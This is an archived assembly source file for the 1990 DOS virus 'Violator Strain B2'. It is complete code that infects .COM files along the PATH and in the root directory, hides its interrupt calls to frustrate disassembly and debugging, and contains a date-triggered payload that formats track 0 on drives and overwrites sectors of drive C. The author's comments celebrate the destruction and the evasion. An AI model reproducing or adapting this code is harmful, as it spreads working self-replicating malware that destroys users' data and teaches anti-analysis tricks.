The Unsorted BBS Collection/thegreatunsorted.tar/thegreatunsorted/live_viruses/virus_collections/viol-b2.asm

Assembly Source File | 1990-10-03 | 17KB | 510 lines

;*****************************************************************************
;
;                        Violator - Strain B2
;
;*****************************************************************************
;
; (Sep/23/90)
;
; Development Notes:
;
; In this version, I have implemented various methods of thwarting users
; attempts to dissassemble this program as well as tracing various interrupt
; calls.
;
; This was done by setting a marker and then doing a CALL to a location which
; will decide which interrupt to issue based on the marker value. Couple this
; with multiple jumps, and it is enough to make any dissassembler puke it's
; guts out, not to mention anyone looking at us with debug will probably
; have an enema before they find out which interrupt we are using.
;
; Also, I have added a routine to thouroughly mess up drive C at the end of
; wiping out all drive. This was taken from Violator A becuase it worked to
; nicely destruction-wise.
;
; In other notes, this sucker is set to go off on October 31st 1990.
;
; UIV v1.0 is still on the fritz and will not become Violator C until I fix it
; to wipe out vectors 13, 26, and 21 (HEX).
;
; (Oct.02.90)
;
; Made a minor change so that INT 26 will also be accessed via flag.
;
;*****************************************************************************
;
;                Written by - The High Evolutionary -
;                  RABID Head Programmer
;
;          Copyright (C) 199O by RABID Nat'nl Development Corp.
;
;*****************************************************************************

MOV_CX  MACRO   X
        DB      0B9H
        DW      X
ENDM

CODE    SEGMENT
        ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
        ORG     $+0100H                ; Set ORG to 100H plus our own

VCODE:  JMP     virus

    NOP
    NOP
    NOP                     ;15 NOP's to place JMP Header
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP

v_start equ     $


virus:  PUSH    CX
        MOV     DX,OFFSET vir_dat
        CLD
        MOV     SI,DX
        ADD     SI,first_3
    MOV    CX,3
        MOV     DI,OFFSET 100H
        REPZ    MOVSB
        MOV     SI,DX
    MOV     AH,30H
    MOV    marker,1
    call    weed
    CMP    AL,0                ;Quit it it's DOS 1.0
    JNZ    dos_ok
        JMP     quit

dos_ok: PUSH    ES
        MOV     AH,2FH
        MOV    marker,1
    CALL    weed
        MOV     [SI+old_dta],BX
        MOV     [SI+old_dts],ES
        POP     ES
        MOV     DX,dta
        ADD     DX,SI
        MOV     AH,1AH
        MOV    marker,1
    CALL    weed
        PUSH    ES
        PUSH    SI
        MOV     ES,DS:2CH
        MOV     DI,0
    JMP    year_check

;
; This routine weed's out the calls...
;

weed:    CMP    marker,1        ;Check to see if it's an INT 21 call
    JE      int_21                 ;If yes,then go and issue an INT 21
    CMP    marker,2        ;Check to see if it's an INT 13 call
    JE    int_13            ;If yes, then go and issue an INT 13
    CMP    marker,3        ;Check to see if it's an INT 26 call
    JE     int_26            ;If yes, then go and issue an INT 26
    RET                ;Go back to where we were called from

;
; The RET there is unnecessary, but I put it there just to be on the safe side
; incase of a "What If?" scenario... The real valid RET is issued from the JE
; locations (int_21 and int_13)... You may choose to comment this line on
; compilation, but what difference does one byte make ?
;

year_check:
    MOV    AH,2AH            ;Get date info
    MOV    marker,1        ;Call DOS
    CALL    weed
    CMP    CX,1990            ;Check to see if the year is 1990
    JGE    month_check        ;If greater or equal, check month
    JMP    find_path        ;If not, go on with infection

month_check:
    MOV    AH,2AH            ;Get date info
    MOV    marker,1        ;Call DOS
    CALL    weed
    CMP    DH,10            ;Check to see if it is October
    JGE    day_check        ;If greater or equal, check day
    JMP    find_path        ;if not, go on with infection

day_check:
    MOV    AH,2Ah            ;Get date info
    MOV    marker,1        ;Call DOS
    CALL    weed
    CMP    DL,31            ;Check to see if it is the 31st
    JGE     multiplex        ;If yes, then nuke drives A:-Z:
    JMP    find_path        ;If not, then go on with infection

int_21:    INT    21h            ;Issue an INT 21
    RET                ;Return from CALL

multiplex:
    MOV    AL,cntr            ;Counter is the drive to kill
    CALL    alter            ;Go and kill the drive
                                        ;25 is drive Z:
    CMP    cntr,25            ;Is (cntr) 25 ?
    JE    really_nuke        ;Now go and Blow up drive C:
    INC    cntr            ;Add one to (cntr)
    LOOP    multiplex        ;Loop back up to kill next drive

int_26:    INT    26h
    RET

alter:
    MOV    AH,05            ;Format Track
    MOV    CH,0            ;Format track 0
    MOV    DH,0            ;Head 0
    MOV    DL,cntr            ;Format for drive in (cntr)
    MOV    marker,2        ;Call RWTS
    CALL    weed
    RET                ;Return up for next drive

int_13: INT    13h            ;Issue an INT 13
    RET                ;Return from CALL

really_nuke:
    MOV    AL,2            ;Set to fry drive C
    MOV    CX,700            ;Set to write 700 sectors
    MOV    DX,00            ;Starting at sector 0
    MOV    DS,[DI+99]        ;Put random crap in DS
    MOV    BX,[DI+55]        ;More crap in BX
    MOV    marker,3        ;Call BIOS
    CALL     weed
    POPF                ;Pop the flags because INT 26 messes
                    ;them up

find_path:
        POP     SI
        PUSH    SI
        ADD     SI,env_str
        LODSB
        MOV     CX,OFFSET 8000H
        REPNZ   SCASB
        MOV     CX,4

check_next_4:
        LODSB
        SCASB
;
; The JNZ line specifies that if there is no PATH present, then we will go
; along and infect the ROOT directory on the default drive.
;
        JNZ     find_path               ;If not path, then go to ROOT dir
        LOOP    check_next_4            ;Go back and check for more chars
        POP     SI            ;Load in PATH again to look for chars
        POP     ES
        MOV     [SI+path_ad],DI
        MOV     DI,SI
        ADD     DI,wrk_spc              ;Put the filename in wrk_spc
        MOV     BX,SI
        ADD     SI,wrk_spc
        MOV     DI,SI
        JMP     SHORT   slash_ok

;*****************************************************************************
;
; Infection Notes: (Oct.02.90)
;
; A wierd thing happened a few days ago, I was testing this virus out on my
; system under Flushot + and I monitored everything that was going on. Here is
; the exact order that Violator infects stuff:
;
; 1) If there is a path used, we first infect the current directory until
;    full.
;
;    If there is no path, we infect the current directory either way...
;
; 2) If there is no path, we then infect the current directory, and then
;    go on and infect all COM'z in the root directory.
;
; 3) Finally, after everything in the path has been infected, we then go and
;    infect all of the COM shit in the root directory...
;
;    This results in a bug with the slash checker. It checks to see if there is
;    a slash on the end of the path, and if there is none, it adds one. But
;    what would happen if there's no path??? It'll still add a slash.
;    This benefit's us greatly. Anyway, on with the code...
;
;*****************************************************************************

set_subdir:
        CMP     WORD PTR [SI+path_ad],0
        JNZ     found_subdir
        JMP     all_done


found_subdir:
        PUSH    DS
        PUSH    SI
        MOV     DS,ES:2CH
        MOV     DI,SI
        MOV     SI,ES:[DI+path_ad]
        ADD     DI,wrk_spc              ;DI is the file name to infect! (hehe)


move_subdir:
        LODSB                           ;To tedious work to move into subdir
        CMP     AL,';'                  ;Does it end with a ; charachter?
        JZ      moved_one               ;if yes, then we found a subdir
        CMP     AL,0                    ;is it the end of the path?
        JZ      moved_last_one          ;if yes, then we save the PATH
        STOSB                           ;marker into DI for future reference
        JMP     SHORT   move_subdir

moved_last_one:
        MOV     SI,0

moved_one:
        POP     BX                      ;BX is where the virus data is
        POP     DS                      ;Restore DS so that we can do stuph
        MOV     [BX+path_ad],SI         ;Where is the next subdir?
        NOP
        CMP     CH,'\'                  ;Check to see if it ends in \
        JZ      slash_ok                ;If yes, then it's OK
        MOV     AL,'\'                  ;if not, then add one...
        STOSB                ;store the sucker


slash_ok:
        MOV     [BX+nam_ptr],DI         ;Move the filename into workspace
        MOV     SI,BX                   ;Restore the original SI value
        ADD     SI,f_spec               ;Point to COM file victim
        MOV     CX,6
        REPZ    MOVSB                   ;Move victim into workspace
        MOV     SI,BX
        MOV     AH,4EH
        MOV     DX,wrk_spc
        ADD     DX,SI                   ;DX is ... THE VICTIM!!!
        MOV     CX,3                    ;Attributes of Read Only or Hidden OK
        MOV    marker,1
    CALL    weed
        JMP     SHORT   find_first

find_next:
        MOV     AH,4FH
        MOV    marker,1
    CALL    weed

find_first:
        JNB     found_file              ;Jump if we found it
        JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory

found_file:
        MOV     AX,[SI+dta_tim]         ;Get time from DTA
        AND     AL,1EH                  ;Mask to remove all but seconds
        CMP     AL,1EH                  ;60 seconds
        JZ      find_next
        CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
        JA      find_next               ;If too long, find another one
        CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
        JB      find_next               ;Then go find another one
        MOV     DI,[SI+nam_ptr]
        PUSH    SI
        ADD     SI,dta_nam

more_chars:
        LODSB
        STOSB
        CMP     AL,0
        JNZ     more_chars
        POP     SI
        MOV     AX,OFFSET 4300H
        MOV     DX,wrk_spc
        ADD     DX,SI
    MOV    marker,1
    CALL    weed
        MOV     [SI+old_att],CX
        MOV     AX,OFFSET 4301H
        AND     CX,OFFSET 0FFFEH
        MOV     DX,wrk_spc
        ADD     DX,SI
    MOV    marker,1
    CALL    weed
        MOV     AX,OFFSET 3D02H
        MOV     DX,wrk_spc
        ADD     DX,SI
        MOV    marker,1
    CALL    weed
        JNB     opened_ok
        JMP     fix_attr

opened_ok:
        MOV     BX,AX
        MOV     AX,OFFSET 5700H
        MOV    marker,1
    CALL    weed
        MOV     [SI+old_tim],CX         ;Save file time
        MOV     [SI+ol_date],DX         ;Save the date
        MOV     AH,2CH
        MOV    marker,1
    CALL    weed
        AND     DH,7
        JMP     infect

infect:
        MOV     AH,3FH
        MOV     CX,3
        MOV     DX,first_3
        ADD     DX,SI
        MOV    marker,1
    CALL    weed                 ;Save first 3 bytes into the data area
        JB      fix_time_stamp
        CMP     AX,3
        JNZ     fix_time_stamp
        MOV     AX,OFFSET 4202H
        MOV     CX,0
        MOV     DX,0
        MOV    marker,1
    CALL    weed
        JB      fix_time_stamp
        MOV     CX,AX
        SUB     AX,3
        MOV     [SI+jmp_dsp],AX
        ADD     CX,OFFSET c_len_y
        MOV     DI,SI
        SUB     DI,OFFSET c_len_x

        MOV     [DI],CX
        MOV     AH,40H
        MOV_CX  virlen
        MOV     DX,SI
        SUB     DX,OFFSET codelen
        MOV    marker,1
    CALL    weed
        JB      fix_time_stamp
        CMP     AX,OFFSET virlen
        JNZ     fix_time_stamp
        MOV     AX,OFFSET 4200H
        MOV     CX,0
        MOV     DX,0
        MOV    marker,1
    CALL    weed
        JB      fix_time_stamp
        MOV     AH,40H
        MOV     CX,3
        MOV     DX,SI
        ADD     DX,jmp_op
        MOV    marker,1
    CALL    weed

fix_time_stamp:
        MOV     DX,[SI+ol_date]
        MOV     CX,[SI+old_tim]
        AND     CX,OFFSET 0FFE0H
        OR      CX,1EH
        MOV     AX,OFFSET 5701H
        MOV    marker,1
    CALL    weed
        MOV     AH,3EH
        MOV    marker,1
    CALL    weed

fix_attr:
        MOV     AX,OFFSET 4301H
        MOV     CX,[SI+old_att]
        MOV     DX,wrk_spc
        ADD     DX,SI
        MOV    marker,1
    CALL    weed

all_done:
        PUSH    DS
        MOV     AH,1AH
        MOV     DX,[SI+old_dta]
        MOV     DS,[SI+old_dts]
        MOV    marker,1
    CALL    weed
    POP     DS

quit:
        POP     CX
        XOR     AX,AX            ;XOR values so that we will give the
        XOR     BX,BX            ;poor sucker a hard time trying to
        XOR     DX,DX            ;reassemble the source code if he
        XOR     SI,SI            ;decides to dissassemble us.
        MOV     DI,OFFSET 0100H
        PUSH    DI
        XOR     DI,DI
        RET     0FFFFH            ;Return back to the beginning
                    ;of the program
;
; It seems as if there is a bit of a misunderstanding about the above line.
; What it simply does is returns from the JMP that we issued at the beginning
; of the program. Heceforth, an infected program will have something to the
; effect of 2145:0100 JMP 104B and the program will then jump to the
; beginning of us. Then we go along our merry way of infecting files until
; we are done and then come up to the RET 0FFFFH line. This is just like a
; plain RET put as we all know, you can't RET from a JMP, so this line kinda
; tricks DOS to return back to the line after the one that issued the original
; JMP, thus, it returns to line 2145:0102 and begins with the real program...
;
; Clear? Good...

vir_dat EQU     $

;
; Change the next line on release of compiled file...
;
intro    db    'Violator B2 (C) ''9O RABID Nat''nl Development Corp.',13,10
olddta_ DW      0
olddts_ DW      0
oldtim_ DW      0
count_    DW    0
cntr     DB     2                ; Drive to nuke from (C:+++)
marker    DB    0                ; This is used for INT purposes
oldate_ DW      0
oldatt_ DW      0
first3_ EQU     $
        INT     20H
        NOP
jmpop_  DB      0E9H
jmpdsp_ DW      0
fspec_  DB      '*.COM',0
pathad_ DW      0
namptr_ DW      0
envstr_ DB      'PATH='
wrkspc_ DB      40h dup (0)
dta_    DB      16h dup (0)
dtatim_ DW      0,0
dtalen_ DW      0,0
dtanam_ DB      0Dh dup (0)
lst_byt EQU     $
virlen  =       lst_byt - v_start
codelen =       vir_dat - v_start
c_len_x =       vir_dat - v_start - 2
c_len_y =       vir_dat - v_start + 100H
old_dta =       olddta_ - vir_dat
old_dts =       olddts_ - vir_dat
old_tim =       oldtim_ - vir_dat
ol_date =       oldate_ - vir_dat
old_att =       oldatt_ - vir_dat
first_3 =       first3_ - vir_dat
jmp_op  =       jmpop_  - vir_dat
jmp_dsp =       jmpdsp_ - vir_dat
f_spec  =       fspec_  - vir_dat
path_ad =       pathad_ - vir_dat
nam_ptr =       namptr_ - vir_dat
env_str =       envstr_ - vir_dat
wrk_spc =       wrkspc_ - vir_dat
dta     =       dta_    - vir_dat
dta_tim =       dtatim_ - vir_dat
dta_len =       dtalen_ - vir_dat
dta_nam =       dtanam_ - vir_dat
count     =    count_  - vir_dat

        CODE    ENDS
END     VCODE